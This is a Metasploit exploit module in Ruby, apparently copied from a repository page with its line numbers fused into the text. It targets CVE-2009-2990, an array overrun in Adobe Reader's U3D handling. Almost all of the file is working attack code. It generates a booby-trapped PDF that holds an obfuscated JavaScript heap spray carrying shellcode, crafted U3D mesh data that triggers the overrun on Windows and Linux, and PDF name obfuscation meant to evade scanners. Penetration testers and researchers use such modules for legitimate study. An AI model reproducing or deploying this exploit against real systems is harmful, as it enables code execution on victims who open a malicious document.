Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
32698 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',17'Description' => %q{18This module exploits an array overflow in Adobe Reader and Adobe Acrobat.19Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a20specially crafted pdf that a contains malformed U3D data, an attacker may21be able to execute arbitrary code.22},23'License' => MSF_LICENSE,24'Author' => [25'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',26'jduck'27],28'References' => [29[ 'CVE', '2009-2990' ],30[ 'OSVDB', '58920' ],31[ 'BID', '36665' ],32[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]34],35'DefaultOptions' => {36'EXITFUNC' => 'process'37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41'DisableNops' => true42},43'Targets' => [44# test results (on Windows XP SP3)45# reader 7.0.5 - untested46# reader 7.0.8 - untested47# reader 7.0.9 - untested48# reader 7.1.0 - untested49# reader 7.1.1 - untested50# reader 8.0.0 - untested51# reader 8.1.2 - works52# reader 8.1.3 - works53# reader 8.1.4 - untested54# reader 8.1.5 - untested55# reader 8.1.6 - untested56# reader 9.0.0 - untested57# reader 9.1.0 - works58[59'Adobe Reader Windows Universal (JS Heap Spray)',60{61'Index' => 0x01d10000,62'Platform' => 'win',63'Arch' => ARCH_X86,64'escA' => 0x0f0f0f0f,65'escB' => 0x16161616,66'escC' => 0x1c1c1c1c67}68],6970# untested71[72'Adobe Reader Linux Universal (JS Heap Spray)',73{74'Index' => 0xfffffe3c,75'Platform' => 'linux',76'Arch' => ARCH_X86,77'escA' => 0x75797959,78'escB' => 0xa2a2a2a2,79'escC' => 0x9c9c9c9c80}81]82],83'DisclosureDate' => '2009-10-13',84'DefaultTarget' => 0,85'Notes' => {86'Reliability' => UNKNOWN_RELIABILITY,87'Stability' => UNKNOWN_STABILITY,88'SideEffects' => UNKNOWN_SIDE_EFFECTS89}90)91)9293register_options(94[95OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),96]97)98end99100def exploit101# Encode the shellcode.102shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))103104# Make some nops105nops = Rex::Text.to_unescape(make_nops(4))106107# prepare the pointers!108ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))109ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))110ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))111112script = <<~EOF113var nopz = unescape("#{nops}");114function mkSlice(stringy,size,rest){115while (stringy.length <= size/2)116stringy += stringy;117stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);118return stringy;119};120121function spray(escA,escB,escC,escShellcode){122var loop1;123var pointersA = unescape(escA);124var pointersB = unescape(escB);125var pointersC = unescape(escC);126var shellcode = unescape(escShellcode);127128pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);129pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);130pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);131nop_slide = mkSlice(nopz,0x100000, shellcode.length);132var xarr = new Array();133for (loop1 = 0; loop1 < 400; loop1++) {134if(loop1<100)135xarr[loop1] = pointersA_slide+pointersA;136else if(loop1<200)137xarr[loop1] = pointersB_slide+pointersB;138else if(loop1<300)139xarr[loop1] = pointersC_slide+pointersC;140else141xarr[loop1] = nop_slide+shellcode;142}143return xarr;144};145var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");146this.pageNum = 1;147EOF148149# Obfuscate it up a bit150script = obfuscate_js(script,151'Symbols' => {152'Variables' => %w[pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz],153'Methods' => %w[mkSlice spray]154}).to_s155156# create the u3d stuff157u3d = make_u3d_stream(target['Index'], 'E' * 11)158159# Create the pdf160pdf = make_pdf(script, u3d)161162print_status("Creating '#{datastore['FILENAME']}' file...")163164file_create(pdf)165end166167def obfuscate_js(javascript, opts)168js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)169js.obfuscate170return js171end172173def random_non_ascii_string(count)174result = ''175count.times do176result << (rand(128..255)).chr177end178result179end180181def io_def(id)182"%d 0 obj\n" % id183end184185def io_ref(id)186'%d 0 R' % id187end188189# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/190def n_obfu(str)191result = ''192str.scan(/./u) do |c|193if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'194result << '#%x' % c.unpack('C*')[0]195else196result << c197end198end199result200end201202def ascii_hex_whitespace_encode(str)203result = ''204whitespace = ''205str.each_byte do |b|206result << whitespace << '%02x' % b207whitespace = ' ' * (rand(1..3))208end209result << '>'210end211212def u3d_pad(str, char = "\x00")213ret = ''214if (str.length % 4) > 0215ret << char * (4 - (str.length % 4))216end217return ret218end219220def make_u3d_stream(index, meshname)221# build the U3D header (length will be patched in later)222hdr_data = [1, 0].pack('n*') # version info223hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')224hdr = "U3D\x00"225hdr << [hdr_data.length, 0].pack('VV')226hdr << hdr_data227228# mesh declaration229decl_data = [meshname.length].pack('v')230decl_data << meshname231decl_data << [0].pack('V') # chain idx232# max mesh desc233decl_data << [0].pack('V') # mesh attrs234decl_data << [0xc322].pack('V') # face count235decl_data << [0x6226].pack('V') # position count236decl_data << [0x24966].pack('V') # normal count237decl_data << [0].pack('V') # diffuse color count238decl_data << [0].pack('V') # specular color count239decl_data << [0].pack('V') # texture coord count240decl_data << [1].pack('V') # shading count241# shading desc242decl_data << [0].pack('V') # shading attr243decl_data << [1].pack('V') # texture layer count244decl_data << [0].pack('V') # texture coord dimensions245decl_data << [0].pack('V') # original shading id246# minimum resolution247decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)248# quality factors249decl_data << [0x12c].pack('V') # position quality factor250decl_data << [0x12c].pack('V') # normal quality factor251decl_data << [0x12c].pack('V') # texture coord quality factor252# inverse quantiziation253decl_data << [0x3f0b1e6c].pack('V') # position inverse quant254decl_data << [0x3b6f05a6].pack('V') # normal inverse quant255decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant256decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant257decl_data << [0x3c2df54a].pack('V') # specular color inverse quant258# resource params259decl_data << [0x3f666666].pack('V') # normal crease param260decl_data << [0x3f000000].pack('V') # normal update param261decl_data << [0x3f7c28f6].pack('V') # normal tolerance param262# skeleton description263decl_data << [0].pack('V') # bone count264# padding265mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')266mesh_decl << decl_data267mesh_decl << u3d_pad(decl_data)268269# build the modifier chain270chain_data = [meshname.length].pack('v')271chain_data << meshname272chain_data << [1].pack('V') # type (model resource)273chain_data << [0].pack('V') # attributes (no bounding info)274chain_data << u3d_pad(chain_data)275chain_data << [1].pack('V') # number of modifiers276chain_data << mesh_decl277modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')278modifier_chain << chain_data279280# mesh continuation281cont_data = [meshname.length].pack('v')282cont_data << meshname283cont_data << [0].pack('V') # chain idx284cont_data << [0].pack('V') # start resolution285cont_data << [0x1000].pack('V') # end resolution286# 4096 continuation blocks287cont_data << [index].pack('V') # split position index288cont_data << [0].pack('v') # new diffuse color count289cont_data << [0].pack('v') # new specular color count290cont_data << [0].pack('v') # new text coord count291cont_data << [0].pack('V') # new face count292# unknown data293cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"294cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"295cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"296cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"297cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"298cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"299cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"300cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"301cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"302cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"303cont_data << "\xe9\x10\x9d\x6b\x06\x00"304cont_data << "\x50" # pad305mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')306mesh_cont << cont_data307# mesh_cont << u3d_pad(cont_data)308mesh_cont << "\xa2\x00" # manual padding309310data = hdr311data << modifier_chain312data << mesh_cont313314# patch the length315data[24, 4] = [0x2b680].pack('V') # hardcode the data length316317if index == 0x01d10000318# laziest hack ever! Another index must be found for using the following319# stream in windows.. and a lot of tests shoul be done.320return data321end322323# linux version324# build the U3D header (length will be patched in later)325hdr_data = [1, 0].pack('n*') # version info326hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')327meta_str1 = 'alalala0'328meta_str2 = "\xa8" * 1024329hdr_meta = [1].pack('V')330hdr_meta << [meta_str1.length].pack('v')331hdr_meta << meta_str1332hdr_meta << [1].pack('V')333hdr_meta << [meta_str2.length].pack('V')334hdr_meta << meta_str2335hdr = "U3D\x00"336hdr << [hdr_data.length, hdr_meta.length].pack('VV')337hdr << hdr_data338hdr << hdr_meta339hdr << u3d_pad(hdr_meta)340341# mesh declaration342decl_data = [meshname.length].pack('v')343decl_data << meshname344decl_data << [0].pack('V') # chain idx345# max mesh desc346decl_data << [0].pack('V') # mesh attrs347decl_data << [0xc322].pack('V') # face count348decl_data << [0x6626].pack('V') # position count349decl_data << [4].pack('V') # normal count350decl_data << [0].pack('V') # diffuse color count351decl_data << [0].pack('V') # specular color count352decl_data << [0].pack('V') # texture coord count353decl_data << [1].pack('V') # shading count354# shading desc355decl_data << [0].pack('V') # shading attr356decl_data << [0].pack('V') # texture layer count357decl_data << [0].pack('V') # original shading id358# no texture coord dimensions359decl_data << [0x64].pack('V') # minimum resolution360decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)361# quality factors362decl_data << [0x12c].pack('V') # position quality factor363decl_data << [0x12c].pack('V') # normal quality factor364decl_data << [0x12c].pack('V') # texture coord quality factor365# inverse quantiziation366decl_data << [0].pack('V') # position inverse quant367decl_data << [0].pack('V') # normal inverse quant368decl_data << [0].pack('V') # texture coord inverse quant369decl_data << [0].pack('V') # diffuse color inverse quant370decl_data << [0].pack('V') # specular color inverse quant371# resource params372decl_data << [0].pack('V') # normal crease param373decl_data << [0].pack('V') # normal update param374decl_data << [0].pack('V') # normal tolerance param375# skeleton description376decl_data << [0].pack('V') # bone count377# padding378mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')379mesh_decl << decl_data380mesh_decl << u3d_pad(decl_data)381382# build the modifier chain383chain_data = [meshname.length].pack('v')384chain_data << meshname385chain_data << [1].pack('V') # type (model resource)386chain_data << [0].pack('V') # attributes (no bounding info)387chain_data << u3d_pad(chain_data)388chain_data << [1].pack('V') # number of modifiers389chain_data << mesh_decl390modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')391modifier_chain << chain_data392393# mesh continuation394cont_data = [meshname.length].pack('v')395cont_data << meshname396cont_data << [0].pack('V') # chain idx397cont_data << [0].pack('V') # start resolution398cont_data << [0x100].pack('V') # end resolution399# 256 continuation blocks400cont_data << [index].pack('V') # split position index401# unknown data402cont_data << [1].pack('V') * 10403cont_data << 'Feli' * 20404mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')405mesh_cont << cont_data406mesh_cont << u3d_pad(cont_data)407408data = hdr409data << modifier_chain410data << mesh_cont411412# patch the length413data[24, 4] = [0x174].pack('V') # hardcode the data length414return data415end416417def make_pdf(js, u3d_stream)418xref = []419eol = "\x0a"420obj_end = '' << eol << 'endobj' << eol421422# the header423pdf = '%PDF-1.7' << eol424425# filename/comment426pdf << '%' << random_non_ascii_string(4) << eol427428# js stream429xref << pdf.length430compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))431pdf << io_def(1) << n_obfu('<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>' % compressed.length) << eol432pdf << 'stream' << eol433pdf << compressed << eol434pdf << 'endstream' << eol435pdf << obj_end436437# catalog438xref << pdf.length439pdf << io_def(3) << n_obfu('<</Type/Catalog/Outlines ') << io_ref(4)440pdf << n_obfu('/Pages ') << io_ref(5)441pdf << n_obfu('/OpenAction ') << io_ref(8)442pdf << n_obfu('>>')443pdf << obj_end444445# outline446xref << pdf.length447pdf << io_def(4) << n_obfu('<</Type/Outlines/Count 0>>')448pdf << obj_end449450# kids451xref << pdf.length452pdf << io_def(5) << n_obfu('<</Type/Pages/Count 2/Kids [')453pdf << io_ref(9) << ' ' # empty page454pdf << io_ref(10) # u3d page455pdf << n_obfu(']>>')456pdf << obj_end457458# u3d stream459xref << pdf.length460pdf << io_def(6) << n_obfu('<</Type/3D/Subtype/U3D/Length %s>>' % u3d_stream.length) << eol461pdf << 'stream' << eol462pdf << u3d_stream << eol463pdf << 'endstream'464pdf << obj_end465466# u3d annotation object467xref << pdf.length468pdf << io_def(7) << n_obfu('<</Type/Annot/Subtype')469pdf << '/3D/3DA <</A/PO/DIS/I>>'470pdf << n_obfu('/Rect [0 0 640 480]/3DD ') << io_ref(6) << n_obfu('/F 7>>')471pdf << obj_end472473# js dict474xref << pdf.length475pdf << io_def(8) << n_obfu('<</Type/Action/S/JavaScript/JS ') + io_ref(1) + '>>' << obj_end476477# page 0 (empty)478xref << pdf.length479pdf << io_def(9) << n_obfu('<</Type/Page/Parent ') << io_ref(5) << n_obfu('/MediaBox [0 0 640 480]')480pdf << n_obfu(' >>')481pdf << obj_end482483# page 1 (u3d)484xref << pdf.length485pdf << io_def(10) << n_obfu('<</Type/Page/Parent ') << io_ref(5) << n_obfu('/MediaBox [0 0 640 480]')486pdf << n_obfu('/Annots [') << io_ref(7) << n_obfu(']')487pdf << n_obfu('>>')488pdf << obj_end489490# xrefs491xrefPosition = pdf.length492pdf << 'xref' << eol493pdf << '0 %d' % (xref.length + 1) << eol494pdf << '0000000000 65535 f' << eol495xref.each do |index|496pdf << '%010d 00000 n' % index << eol497end498499# trailer500pdf << 'trailer' << eol501pdf << n_obfu('<</Size %d/Root ' % (xref.length + 1)) << io_ref(3) << '>>' << eol502pdf << 'startxref' << eol503pdf << xrefPosition.to_s << eol504pdf << '%%EOF' << eol505end506end507508509